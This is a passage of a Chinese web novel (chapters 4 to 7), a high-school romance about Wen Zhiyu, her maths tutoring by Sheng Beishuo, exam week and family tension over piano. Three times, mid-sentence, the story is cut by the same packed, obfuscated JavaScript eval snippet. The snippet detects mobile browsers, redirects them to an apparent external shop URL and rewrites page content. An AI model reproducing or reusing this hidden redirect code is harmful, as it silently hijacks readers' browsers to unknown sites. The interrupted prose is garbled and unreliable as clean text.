向初兰这次挤掉余葵,费尽心思换到温知妤旁边,就是专程来找茬的。 她到现在都记得清清楚楚。 从高一入校到这学期,她勤勤恳恳当了一年班长,事事尽心尽力,结果半路突然转来了个温知妤。 这大小姐在年级上的风评可以说一败涂地,仗着自己长得还行,从头到脚都是奢侈品,整天一副不可一世,谁也懒得搭理的臭模样。 虽然没做什么欺负人的事,但同学们大多对她敬而远之,按理说根本没什么群众基础。 可架不住她钢琴弹得极好,拿过好几次国家级奖项,为班级争了不少荣誉,在年级里也算赫赫有名。她一来,班主任何老头干脆一票拍板,直接让温知妤顶替了她的位置。 她和温知妤的梁子,就是从那时候结下的。 平心而论,温知妤管班确实有一套,自带一种生人勿近的距离感,同学们都怕她,班级纪律自然好得没话说。 可越是这样,向初兰心里就越不服气。 她先要当班长,温知妤也要当;她先租了家属院的房子,结果温知妤也跟了过来。 明明温知妤不争不抢不作为,凭什么能得到她想要的东西?? 向初兰心里越想越不舒服,她就转头:“喂,温知妤,现在是自习课,吵死了,身为班长就该管纪律,你倒好,只顾着自己刷题!” 温知妤抬眼,冲她笑了笑:“谢谢提醒,我现在就上去说。” 向初兰噎住,看吧,任由自己怎么发火,这大小姐就是一脸云淡风轻,变着相来挑衅她! 此时的温知妤心里很感动,她其实不擅长处理人际关系,当班长也是措手不及。 新同桌虽然语气是冲了点,但是个嘴硬心软的好人! 余葵在后排看见向初兰的样子,当即噗嗤笑了,用胳膊肘推了推旁边的第一名: “你老乡又吃瘪了哈哈哈,每次找我们温温的麻烦,最后都能把自己气个半死。” 常年第一名是许浔,相貌清秀温润,一身书卷气。一班皆是成绩拔尖的学生,唯独余葵性子跳脱活泼,话多又坐不住,班主任便特意把话少内敛的许浔安排在她身边,正好能治住她的闹腾。 许浔和向初兰都是南县出来的,中考时一个第一、一个第二考进市里,读书都格外刻苦。刚来时成绩还不见得,后来凭着韧劲,稳稳排在班级前列。 许浔抬起薄薄的眼皮,望着的台上的温知妤,头一回见她眉宇间的笑意。 “温同学确实变化很大,感觉,比以前更好相处了。” 余葵“嗯”了一声:“其实她以前一直都很好。” “是吗?”许浔侧过头。 他话音刚落,温知妤就从讲台上下来了,她看着还在嘀咕的余葵,顺手揉了一把她的脑袋:“小葵花,自习课安静点,别影响人家第一名。” “好好好,听温班长的。”余葵说。 温知妤这才坐定,她没有继续修改错题,而是从抽屉里拿出了一本笔记。虽然是盛北烁的东西,但既然买来了,不用白不用。 温知妤这样想着,就专心地垂眸看题。 后排的少年看着她,少女长长的睫毛随之颤动,鼻尖小巧红润,从前偏是冷着一张脸,现在却像是有了温度。 许浔这样想着,也就多看了一会儿。 * 然而温知妤的数学进度并不顺利,虽然手握状元笔记,但她发现大部分过程都记得简略,她底子本就一般,根本看不明白。 回到家属院,她心事重重地把书包一放,坐到了自己的书桌边。木质的桌面上,还贴着学姐留下的小纸条。 少女托腮,心想学姐的光环果然不会因为“继承”照到她的身上。 温知妤叹了口气,那还有谁能救救她的数学啊? 自上次从六栋离开,盛柔虽然让她不会的题就来找盛北烁,但她总觉得别扭,一次也没问过。 一是因为盛北烁长了张祸乱姑娘的脸,二是因为她不喜欢感情轻浮的人。 温知妤这样想着,不知不觉就走神了,隐约间,听到了“叮咚叮咚”的门铃声。 家里的超市一般晚上七点关门,所以回来的应该不是薛路。 温知妤家里的门没按猫眼,于是她开了点门缝,想看清来人。夏夜的热气迎面而来,空气中还有淡淡的皂角香。 盛北烁站在门外,碎发被风拂得微乱,楼道的光落在他的眉眼,极具攻击性的长相,却偏偏透着几分慵懒随性,好看得让人移不开眼。 温知妤暗道不好,真是要什么来什么。 “有什么事吗?”她问。 盛北烁垂眸看少女,眼底掠过笑意,修长的手指晃了晃纸袋。“我妈硬塞的,说是针对数学薄弱点的复习题,懒得拒绝,就给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492279|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你捎来了。 温知妤心里涌上暖意,抬头软声说:“盛姨人也太好了,很感谢。” 她的眼睛如夜色一般乌黑,却又亮晶晶的。少年别扭的移开视线,脸色有些不自然:“顺带买了点吃的,路过便利店多拿了几样,放着也是占地方。” 温知妤没多想:“哦,谢谢,哥哥?” 盛北烁:“别乱喊,叫我名字就行。” 话音落下,两人之间陷入安静,晚风从楼道钻进来,带着盛夏独有的燥热,连空气都变得有些微妙。 “你最近怎么没来找我?”盛北烁说,补充道:“问题。” 温知妤愣了愣。 “笔记我给了,错题本也给了。”盛北烁敛了敛眸,继续说:“看不懂不会问?” “好,你进来吧。” 温知妤学不懂也烦,正祈祷有外力帮个忙呢。 话一出口才有点后悔,家里现在就他们两个,相处起来也太尴尬了。不过盛北烁面色坦荡,似乎不在意这个,如果她现在再提出,反倒显得不自然。 少年长腿一迈就进了门,客厅灯光亮堂,他这才注意到,少女穿着浅绿色的睡裙,长发松松挽在脑后,脸颊边还沾了点墨迹。 温知妤转身走向卧室,露出白皙的后颈。 “我就不进去了,在客厅讲吧。”盛北烁心跳慢了几拍,立马移开视线。 少女头也不回,声音轻飘飘的:“我知道啊,等先把笔记拿出来。” 盛北烁僵在原地,愣了好几秒,侧脸迅速烧了起来,一路蔓延到耳根。 ……靠,他脑子有病吧,到底在胡思乱想什么? 温知妤没看见吧??他下意识抬眼,视线一偏,又落在她那件宽松的浅绿色睡裙上,整个人更不自在了。 盛北烁:…… 还没等他平复下来,温知妤已经拿着笔记坐到他身旁。少女似乎没注意到他的面色,只是看题。盛北烁随意翻了翻,不少大题前面都打了鲜红的三角形。 “呃,这种题不会是吧?”少年腕骨线条突出,蜻蜓点水地指了指上面的“#”号。 温知妤点头,心里暗叹,不愧是学霸,理解能力真不是说说,她的符号都能看懂。 “这道题需要画辅助线,我当时为了复习方便,就没有标明,你可以用简单点的方法,以C为原点,CA为X轴,建立空间直角坐标系,先证明AO垂直于平面ABCD……” 温知妤侧头看题,两人距离拉得很近,她没注意到,少年的身形一僵,时间变得很慢很慢。 讲完最后一道题,盛北烁抬头看了眼墙上的挂钟,分针只懒懒地挪了半圈,居然才过去二十多分钟。 他怀疑是自己语速太快了,囫囵吞枣,小姑娘根本没听懂。问:“还有不会的么?” 温知妤:“都明白了。” 盛北烁:“行吧,不算太笨。” “今天谢谢你了。”少女起身,带着一种安静地疏离。“快回去吧,不然阿姨该着急了。” 温和又直白的逐客令。 盛北烁挑了挑眉,没说什么,慢悠悠站起身。他比她高许多,轻易就覆住了她的影子。 “你今天对我说过两次感谢,不过看上去,都不太真心。” 他淡褐色的眸子低垂,落在少女的侧脸:“以后有不会的题,别自己死磕。” “好的。” 安静了一瞬,就在温知妤以为要结束时。盛北烁忽然松开了门把手。 “那,加个微信?” 5. Chapter5 2018/7/13 “她还知道发消息,那也算没把我忘干净。” ——盛北烁日记 * 其实他早就开始紧张了。 温知妤垂眸。拿人手短,吃人嘴软,刚麻烦完人家,转头就拒绝,似乎太不近人情。 话一出口,盛北烁见她满脸犹豫,当即就后悔了。不该刚帮完忙就提这种要求,摆明了会让她有压力,跟逼人家答应似的。 他眉梢微蹙,语气淡得像不在意,随口想圆回去:“算了,不着急——” “我很少用微信,你等一下。”少女低头解锁屏幕,点开好友码。 今晚温知妤学到了半夜十二点,有了笔记主人的指点,她弄明白了许多标注的知识点。 如果把人品抛在一边,不得不说,盛北烁学习能力是真的很强,难怪是理科状元。 她垂眸,看着好友列表的那行。 盛北烁头像是只卡通金毛,她盯了一会儿,忽然想到了茸茸。 茸茸是温知妤初中时捡回家的弃犬。温志诚一向不喜欢动物,非得让她把它养在楼下那层客厅。温知妤每次去喂食,都得开一次锁,再下很长很长的台阶。 因为距离远隔音也很好,少女每次都会给茸茸说很多事儿,它就把小脑袋软趴趴搭在她腿上。 可惜搬来家属院,温志诚和薛路一致怕耽误她学习,便把茸茸留在了别墅,交给陈姨照料。 少女颤了颤眼睫,再看这人的ID,是一行大写的英文字母:DAWN 英译过来是黎明。温知妤联想到“北烁”两个字,也是极光的别称,还挺浪漫的。 她淡淡地弯了弯嘴角,忽然又意识到了什么,蓦地僵住,掐断了自己的念头。 停!温知妤,你半夜情绪还挺丰富啊? 她在心里吐槽自己。做朋友可以,但不能深交! 想到这里,温知妤指尖快速在屏幕上操作一番,顺手给“DAWN”设置了互不可见的权限。 完成了一件必要且正确的事,学习上也无债一身轻,少女心里轻松了许多,关灯上床,呼吸很快均匀绵长。 * 盛北烁最近闲得没事,下午就隔三差五和阮明肆去琴行,也不和钟扬一伙人打球了。 阮明肆抱着吉他,瞥了眼坐在钢琴前的人,忍不住啧啧两声:“哥,我学吉他是为了找女朋友,好歹上手快。你零基础死磕钢琴,图啥啊?现在天天耗在这儿,盛姨回头指定觉得是我带坏你,我这锅背得也太冤了吧!” 盛北烁眼皮都不抬一下,语气自然得很:“和你目的一样。” 阮明肆拨弦的手猛地一顿,差点傻了:“卧槽?不是吧哥!你这张脸往那儿一站就够了,追女生还要特意学钢琴?至于这么费劲吗?” “多管闲事。”盛北烁斜了他一眼说,“因为她很优秀。” “行行行,我不多嘴,这事我给你保密,够意思了吧?” 盛北烁重新收回注意,修长的指节起落,不过一段时间,他已经能完整地弹完整首《WinterInMyHeart》。 这旋律温柔又干净,是温知妤曾经最拿手的。盛北烁弹起时,眸中多了层少有的柔软。 一曲落定,阮明肆在旁边啪啪啪使劲鼓掌,满脸佩服:“可以啊盛哥,天赋怪是吧?学得也太快了。不过话说回来,追女孩光会弹琴可不够,得主动出击啊,你最近……” “五点了,你还能练多久?”盛北烁懒懒地瞥了他一眼。 阮明肆这才惊叹一声时间,乖乖照着谱子开始抱佛脚。 回到家属院,盛柔和阮振国都还没下班,难得清净。盛北烁弯腰换鞋,长腿一迈,散漫地在沙发坐下,整个人往后靠了靠,单手握着遥控,另一只手随意撑在别处。 晚间大多是新闻联播,他切了几台,视线忽然一顿,居然看到了今天一中采访他的视频。 盛北烁蹙眉,锦城电视台每年确实会单独采访高考状元,可也没提前说过,会直接把一中官媒的采访原封不动搬上电视。 他盯着屏幕里的自己看了两秒,勉强还算顺眼。 不知道温知妤看见了没? 盛北烁指尖顿了顿,忽然就没了换台的心思。他突然想起下午阮明肆的话,这小子虽然嘴欠了点,但是也说得有点道理。自从上次分开,温知妤就没来找他问过题。 大概六点多的样子,天色稍暗了一点,盛北烁从沙发上起身,径直往卧室走。他把前两天特意新买的几本数学、理综习题资料简单收拾了一下,便出了门。 楼下有家便民小卖部,小卖部主人是个老奶奶,姓王,是他高中化学老师的家属,老人闲不住,怕清净,便开了家店。 盛北烁路过时,王奶奶正在躺椅上打盹,脸上盖了个蒲扇。他稍微放轻了脚步,挑了点温知妤爱吃的巧克力棒,又买了几盒樱桃和草莓。 刚要转身,老人家头也没抬,闭着眼调侃:“难得你来,买这么多甜的软的,可不是你自己吃的吧?” 盛北烁付完钱,含糊地“嗯”了一声,耳尖有些微微的热意,便快步出了店门。 少年步伐比平时快了一些,拐过花坛,路边的蝉鸣一阵接着一阵。他脚步顿了顿,低头扫了眼袋子里的草莓和小零食,喉结轻轻滚动。 她应该不会拒绝吧? 温知妤家在七栋三楼。越靠近那个单元门,盛北烁那股散漫劲儿就淡一分。 他握着袋子的指节微微收紧,平时大小考试都没在怕的人,现在居然破天荒感觉到了一丝紧张。 * 从温知妤家里出来才七点半,少年步子明显轻快了不少,七栋到六栋本就没几步路,他却慢悠悠走了好一会儿。 草坪刚被修剪过,散发出清新的气味,盛北烁心情很好地打开手机,看着通讯录新好友,嘴角忍不住上扬。 之前一直没好意思要她微信,今天总算加上了。 温知妤的头像很简单,是一个线条软软的简笔画小鱼,昵称是YUYU。 他默念了一遍,这是她小名啊? 可爱。 盛北烁修长的指节轻扣屏幕,把备注改成【小鱼】。 他一边低头看着微信,一边不自觉笑,等回过神已经晃到了自家楼下。 刚要上楼,就看见车棚旁,阮振国在停自行车,盛柔就站在边上,好整以暇地望着他,明显已经看了好一会儿。 “小烁,下午又去琴行了吗?”盛柔率先开口。 盛北烁自然地收起手机:“嗯。” 盛柔立刻笑了,拆穿他:“琴行在小区南边,大门也朝南。你刚才,可是从北边走回来的。” “路过小卖部,给你买了点东西。”盛北烁没露出半点心虚,眸光微转,慢悠悠拿出一袋草莓。 盛柔瞬间放下了心里的怀疑,眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492280|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一亮,满是欣慰地说:“今天这么有孝心?难得主动给我买东西,晚上叫你爸给你多炒几个你爱吃的菜! 阮振国停好车,也过来笑着搭腔,三人并肩往单元楼里走。 盛北烁嘴上有一搭没一搭应着,心思却早飘没影了。吃了晚饭他便回到卧室,他随手捞过桌上一本习题册摊开,想看会儿书分散注意力,可眼睛盯着纸面,脑子却完全转不动。没坐两分钟,还是忍不住把手机抓了过来。 他点开和温知妤的聊天框,屏幕上干干净净,只有系统默认的一句话。 “现在可以开始聊天了!” 聊个头啊。他想。 盛北烁默默退了出来,又点进她的朋友圈,刷新。 最后等来了一条灰色实线。 少年动作顿住,盯着那条横线看了几秒,嗤笑一声。 “……操。” * 复习的日子过得飞快,距离期末考试只剩两天了。最近,温知妤从薛路口中得知,父亲温志诚在外工作几年,暑假终于要回国了。 讲真,听到这个消息,心里并没有久别重逢的狂喜,反而是一种近乎迟钝的陌生。 从她升入初中开始,薛路和温志诚就远赴国外开拓所谓的“事业版图”。 薛路好歹会在过年时匆匆回来待上几天,而温志诚回来的次数更少。偶尔打来电话,要么是问她学习如何,要么是问钢琴练得怎么样。 她的整个青春期,起居饮食、生病发烧,身边一直是沉默寡言的陈姨。 不过暑假即将到来,她心里总归是喜悦的。 温知妤看向教室窗外,七月紫外线更烈,透过层层深绿的梧桐树枝叶,树上蝉鸣一声声叫着,将盛夏拉得格外绵长。 “温温,发什么呆呢?” 余葵忽然从后座戳了戳她:“快救救我,这道导数题第二问怎么证明啊?卡了我一节课了!连许学神也说没思路!” 温知妤回头,无奈道:“你问我数学,还不如不问。” “你看看嘛,我是真没招了,急急急!”余葵双手合十,就差给她作揖了。 少女拗不过,只得接过那张被画得乱七八糟的题。有些绕,但她扫过几眼,有一种模糊的熟悉感,好像在哪见过类似题目。 温知妤迅速拿出草稿纸,尝试着把脑海里的思路写出来,果然越写越顺畅。她抬了抬下巴,一脸骄傲地把答案递给余葵。 “喏。” “卧槽!”余葵凑过去,眼睛越瞪越大,声音不自觉拔高。“温温!你最近吃什么灵丹妙药了?进步神速啊这是!” 她粗略看了一眼,立刻将草稿纸拿给许浔:“许学神,你看看这解法对不对?” 许浔仔细看了一遍,嘴角微微上扬。“对,老何前几天讲过一道类似的母题,我真没想到可以往这个方向变形。” “那学神,既然看懂了,赶紧给我讲讲!” 许浔好脾气地点点头,拿出纸笔,往余葵身侧倾了一点。 余葵满心满眼都是那道可恨的数学题,冒冒失失正准备追问,却差点和许浔头碰着头。那瞬间,少年温柔的嗓音钻进耳里,她忽然就噤了声。 有时候,开始喜欢一个人就是一瞬间的事情。 再正常不过的举动,再正常不过的午后,可余葵的世界第一次安静下来。 “砰,砰砰。” 原来他的睫毛这么长啊。 6. Chapter6 * 自从上次去温知妤家里讲了题,盛北烁怕太主动吓着她,生生忍住了再去找的念头。 只是偶尔发条消息,往他小姨书店里跑的次数多了。说是来帮忙看店,其实是想不经意偶遇一下。 然而这半个多月来,一中学生似乎都在忙着准备期末考试,店里没几个人,更别说三点一线的温知妤了。 午后的光透过玻璃,在地板上拉出长长的光影。 盛北烁坐在收银台旁,长腿随意交叠,一只手握着手机,白色耳机线搭在颈边,他正垂眼听歌,侧脸线条利落,又带着少年特有的柔和。 钟扬带着林飞越一伙人老远就瞅见了他,直接推门而入。 钟扬凑上前,在他视线前方挥了挥手,笑嘻嘻地起哄:“烁哥,你都拒绝我好多次了,再这么窝在书店里,真要成文艺青年了。走,打球去。” 盛北烁起身,林飞越就更不客气,人还没站稳就直接跳起来,胳膊一勾,熟稔地揽住他的脖子:“别磨磨蹭蹭的,今天拐也要把你拐去球场!” 这人性格也挺跳脱,人住家属院,高三时在他隔壁班,他们经常约球,关系挺熟的。 盛北烁无语地抬眼看这几个活宝,书店里也没什么人,他给小姨打了声招呼,便任由几人勾肩搭背,吵吵嚷嚷往一中的小操场走去。 场内,他随手把外套折了放在座位上,只穿了件宽松的白色短衬衫,少年正是骨架抽条的时候,肩宽腰窄,线条分明,腰线往里收得利落,清瘦却一点不单薄。 “烁哥,今天可别放水啊。”林飞越吼了一嗓子。 “放个屁,上次被你虐得还不够?”钟扬嚷嚷着。“今天非得赢你一回。” 盛北烁嗤笑一声,侧身避开,手腕一翻就把球运在身侧,脚步轻快地往前压,懒洋洋地说:“行啊,尽管来,让你们先攻。” “操,你少嚣张!”林飞越扑上来就要抢球,“今天哥几个一起上,看你还怎么装!” 一个多小时下来,几人全被打得没脾气。林飞越被晃得晕头转向,忍不住骂:“我真服了,你他妈是不是长了八只眼?怎么跑都被你掐得死死的。” 盛北烁拍着球,声音带着点喘:“再来。” 钟扬彻底累瘫了,满头大汗地蹲在地上拧开矿泉水猛灌,连连摆手:“不来了不来了,你是魔鬼吧……再打下去我人要没了。” 盛北烁也热得够呛,蹲在一旁的台阶上,仰头灌了口雪碧,水珠顺着下颌线滑进衣领,晕开一小片湿痕。 林飞越抱着水瓶也凑了过来,几个人乱糟糟地蹲坐成一排。缓过来吼,他就用胳膊肘顶了顶盛北烁,八卦道:“烁哥,最近天天看那破店,和妤姐进度怎么样?” 盛北烁转了转小半瓶雪碧,平淡地说:“没怎么碰见。” 钟扬闻言,很是懂事儿地点头,拍了拍他的肩膀:“这叫顺其自然,缘分到了自然就碰上了。我觉得烁哥做得对,总不能一直上赶着去找妤姐,怪打扰人家学习的。” 林飞越往台阶上一瘫,满脸恨铁不成钢:“反正我是忍不了,换我早就冲上去了,哪像你在这儿干等。” 几人正聊着,盛北烁手机就震动了一下,他垂眸解锁,顶端弹出备注【小鱼】。 钟扬眼睛最尖得很,瞄了一眼就炸了:“卧槽还真等到了,这不会是妤姐发的吧?” 林飞越一听,也连忙要看,盛北烁眼疾手快扣过手机,侧头瞥了他俩一眼,低声骂了句:“我去你的。” 嘴角却忍不住微微上扬。 钟扬啧啧两声,揪住林飞越的后衣领,把人往后拽了起来:“切,小气鬼,不给看算了。走了走了,我俩先撤,回去吃饭。” 两人闹哄哄地挥手走在前面。 盛北烁闻言起身,垂眸看着手机屏幕。此时天边夕阳正沉,大片火烧云漫过教学楼顶,把整个操场都染成暖黄色。 风一吹,少年发梢微微扬起,光影下,盛北烁抬手,对着天边按下拍摄键。 * 放学后,温知妤走在家属院的小路上,书包里装了今天的试题和盛北烁的笔记本。 盛北烁的笔记确实很好用,条理清晰,把零散的知识点都归整得明明白白,学起来省心不少。比如今天那道导数题,她一翻他的笔记,果然找到了同类型的解题思路。 久而久之,每晚复习数学时,这本笔记就成了她必带的东西。 算算日子,她已经有半个月没见过盛北烁了。 临近傍晚,路灯亮着微黄的光,经过住户家时,偶尔飘出淡淡的饭菜香,坡上坡下的石板路被踩得光滑,几个孩子嬉闹着跑过,留下一阵清脆的笑声,不过多时又归于平静。 温知妤住的七栋本就不远,她没走几步就到了楼下,脚步却不受控制地,又往南边多绕了一段。 再往前就是六栋。她下意识抬头望向三楼,那扇窗亮着柔和的光,安稳嵌在暮色里。 她怔了一下。 怎么莫名其妙走到这儿来了? 温知妤摇了摇头,在心里找了个理由。 大概是想盛阿姨了吧?她对这位心直口快又亲切的长辈印象很好。 回到书桌前,温知妤把自开学以来所有的月考试卷都订成了一本,因为提纲是不变的。这样做不仅方便收纳,还可以按专项模块找出薄弱点,在考试前把失分率高的板块集中重新做一遍。 是的,盛北烁的笔记上除了归纳的题目以外,还用了整整三页写满了学习方法。温知妤试了几种,确实提高了效率。 但这样做也太奇怪了,温知妤想。按理来说,学习方法心里自己清楚就好,这样一条条整理下来,倒像是特意要给谁看似的。 大概学霸都有这种整理强迫症吧?凡事都要做到极致规整。 两小时后,温知妤合上试卷和笔记时,窗外已经彻底暗了下来。 她伸了个懒腰,才想起去摸被扔在一旁的手机。 半个月没怎么和人聊天,她鬼使神差地点开了微信,往下划拉了一下,那个人的对话框居然多了几个消息红点。 她这段时间埋头刷题,手机常年静音放在一旁,愣是一条都没看见。 往上翻几条,全是他发来的话。 【DAWN】:笔记里的例题步骤有点跳,不懂可以问我。 “期末别熬太晚,刷题刷傻了是吗?” “不聊题目,也能找我。” 温知妤看着他的消息,有些愧疚,输入: “抱歉抱歉,之前没看到消息。” “你之前整理的学习方法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492281|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我试了,还挺有用的。” 对面反复显示了几次输入中。 “有进步就行,也算没白写。” 少女愣了愣,对面接着发来了张图片,她点开了页面。 画面里,是盛夏黄昏时晃眼的晚霞,漫天都是灿烂的橘调,掺杂粉紫色渐变,像是被人打翻了调色盘。右下角,还能看见熟悉的教学楼顶。 “某人成天埋在题堆里,估计连外面天是什么颜色都忘了。” “行了,不占你时间,考试加油。” 短短几句,就将温知妤的心搅得不宁静。 盛北烁有女朋友,说不定对谁都是这般顺手帮衬,断然不会只对她一个人特殊。 虽然他确实帮了自己很大的忙,但学习和感情应该拧得清,不能把感激错当成好感,当个朋友还差不多。 她吸了口气,删去打好的长句:“知道了,谢谢。” 随后就如烫手山芋一般,迅速关掉了手机。 * 锦城一中通常会把期末考办得重大,更何况这次涉及分班,于是在前一天,为了布置考场,就让学生清空抽屉,把书箱搬到行政楼去。 次日一早,余葵就赶紧找到温知妤:“温温,得赶紧把书搬出去,行政楼办公室都快被占满了,再慢就只能放走廊了!” 一中的教学楼是回字形布局,四栋楼宇首尾相连,围出一方开阔中庭,连廊贯通,处处透风。这样的布局,虽然夏天能驱散暑热,但下雨的时候就不太妙了。 温知妤想起上次月考突降大雨,她放在走廊外的复习资料全被淋湿了,心里一紧,连忙低下头光速整理抽屉。 大课间,她就和余葵两人一前一后,又是背包又是拧书箱,拖着沉重的身体从教学楼一路爬楼梯,到了最上面的行政楼。 她们上午搬书,本以为已经抢先了,结果发现周围全是气喘吁吁的同学。 行政楼办公室在四楼,又一场恶战。 于是她们先把书箱放在了一楼,余葵爬了两楼实在不行了,看着旁边的小情侣,男生在帮女生搬书,无奈: “老天啊!能不能让我交个男朋友,平时少来打扰我,偶尔帮我拿快递搬书就行。” 温知妤的状态比她好不到哪去。她的刘海沾了细汗,有气无力贴在额角:“挺狡猾啊你,还想拿人家当工具人。” 两人心照不宣在楼梯口休息了一会,后面的脚步声越来越多,她们搬起书,正准备接着上楼。 “我来帮你们吧。”许浔从楼上下来,目光淡淡扫过狼狈的温知妤。 “哇,许学神果然未雨绸缪,这么早就来了。”余葵如释重负,像是遇到了救星。 温知妤说:“谢谢。” 她们手中的书其实不多,只是一路上坡下坎,所以走得格外累。许浔轻松地接过书,转身,背影清瘦挺拔。 余葵挽紧温知妤的胳膊,小声痴痴道:“许浔人真好啊,长得也好看,要是……” “打住啊你。”温知妤戳了戳她的额头,正色说:“高考前不许想这想那,好好学习。” 余葵瘪了瘪嘴。 两人不再多言,紧接着跟了上楼。 温知妤的脚步慢了半拍。只有她自己知道,这句话不光在对余葵说,也是在对自己说。 7. Chapter7 2018/7/15 “主动约我?” ——盛北烁日记 * 锦城一中的期末和平时月考不同,黑板旁边会郑重其事地贴上考试告示。下课铃刚响,原本在桌上补觉或者刷题的同学,全一窝蜂地凑了过去,里三层外三层地围了起来。 余葵拉起温知妤,奋力突出重围,这才好不容易看清:周六和周天上午分别考语文和数学,下午则自主复习,第三天上午考完理综才结束。比月考战线整整延长了一天! 余葵瞬间垮了脸,叹气:“唉,也太慢了吧,这得熬到什么时候啊!” 这个时间安排表看似‘温柔’,但学校这些秃头领导们,压根不懂少年心态。对于急着想要结束考试的人来说,显得如此格外煎熬。 温知妤蹙眉,也不喜欢这样安排。七月的热气一天天往上窜,上午考完一门,下午自主复习的时候,许多同学就会很浮躁,四处找人对答案,稍微哪里失常,就很容易中途崩掉心态。 就怕领导人又笨勤快,狗学校就这样把人往死里整! 一中为了严防期末作弊,将全年级考场都打乱了重排。每个班往往只有两三人被侥幸分到一个教室,至于分到的教室设施好坏,就纯看个人运气了。 两人查完考场,余葵当即第二次叹气。 她居然被分到了行政楼。 一中这些年一直在扩建,教学楼是按建成顺序排的,阶梯层数越高,楼就越新,环境自然也好得多。行政楼作为老师领导办公为主的地方,环境定要最好,在整个校区最高的坡上。 只有一楼辟出几间空教室当作备用考场。位置偏爬楼累,离主教学楼又远。 温知妤看着余葵一脸生无可恋,忍住笑,拍了拍她的肩:“没事,就当顺便锻炼身体了,下次考试肯定能分到教学楼!” 余葵垮着肩,仰天长叹:“我命咋这么苦啊!这试还没考,腿都要先爬断了……” 温知妤被分在了教学二楼的三班,第二十座。巧的事,向初兰在二十三座,只隔了几个座位,除此之外,班里还有一个不太相熟的女生。 正式进入期末考试这几天,学校还特意搞了点仪式感。每一场开考前,广播里都会放出不知从哪儿找来的纯音乐。据说是为了安抚考前焦虑的心情。 然而温知妤听起来却无比压抑,幽幽怨怨仿佛一辈子都能看到头。她起先以为是自己的心理作用,没想到大多数同学讨论起来,竟深有同感。 不过好在,或许是学校为了鼓励准高三生的信心,期末考试各科题目总的来说不难。 温知妤语言学科本就不错,提前半小时就结束了战斗;数学许多题目类型都在盛北烁笔记上出现过,理综同样是,她几乎也都答出来了。 再次检查完题目,距离期末考试结束还有十分钟,温知妤随意转着笔,心里已经在规划暑假的规划了。 还有五分钟,她余光瞥见,考场第二十三座,向初兰的位置是空的。 她蹙眉。 向初兰在学习上守时到接近苛刻,更何况这是分班考,关键时刻,她去哪里了? * 考试铃一响,温知妤便飞速交了卷,不管结果如何,高二这一学年总算是落下帷幕,也算没留遗憾了。 她和余葵约定在行政楼见面,正好顺便去四楼把书搬回来。 “你理综考得如何啊?我感觉选择题还行,就是大题有算得有点头晕。”两人一碰面,余葵就忍不住开口问。 温知妤如是说:“还行吧,大都按部就班写了,就是最后一道拿不稳。” “谦虚了哈,听你这语气就稳了,下学期进A班应该没问题。”余葵眼里满是羡慕,语调又有些低落,小声说: “我就有点悬了,真不想下学期因为分班跟你分开啊。” 温知妤说:“别说丧气话,成绩出来前,先享受高考前这最后一个暑假吧。” 很快,她们就没精力多言了。两人抱着一摞又一摞的书本,气喘吁吁地回到教室,把东西一一归置妥当。 因为余葵还要回寝室收拾换洗衣物和生活用品,两人走到天桥附近时,便挥手分开了。 温知妤看了一眼手表,刚好13:10,时间还早,又是周一,家属院内学生和老师大多还在学校,于是格外安静。 经历考试这些天,梧桐叶的颜色更深了。热风一吹,就发出‘沙沙’的声响,也吹动了温知妤的校裙。 路上几乎没人,只有偶尔几声蝉鸣。她慢悠悠地走着,心里难得一片空落。 薛路今天特意提前下班回来,她刚到家,就看见桌子上齐齐地摆着饭菜。温知妤一看,红枣乌鸡汤,小米海参粥,炖排骨…几乎全是清淡又补的食物。 自从期中养病回来,薛路经常给她做这种大补的饭菜。虽然温知妤更好辣口,身子也早就养好了,但薛路还是坚持这样做,温知妤也不好让她失望。 “妤妤,愣在那儿干什么,刚考完试肯定累坏了,快过来吃饭。”薛路擦着手从厨房走出来。 温知妤依言在桌旁坐下,母女俩面对面吃饭,相对无言。 沉默了片刻,薛路忽然开口:“妤妤,你爸刚才打电话来了,说七月底就能回来。” “嗯,还有十来天。” 薛路拿着筷子,往她碗里夹了一块排骨,语气带着小心翼翼地商量。“你看也放暑假了,半年没练钢琴,要不这些天练练?” 温知妤夹菜的动作猛地一顿。 “不然等你爸回来,看见你一直不碰琴,该失望了。” 少女垂了垂眼,放下筷子。“我说过,我不会再碰钢琴了。” “但我们培养你这么多年,投入了那么多心血,总不能就这样放弃了吧?”薛路叹了口气。“上次只是个意外。” 温知妤沉默片刻,没再说话。 * 温知妤关在房间呆坐了一中午,虽然不想弹钢琴,也不想面对记忆里严苛的父亲,但不得不承认,随着日子一天天推进,温志诚即将回国,她还是有点高兴。 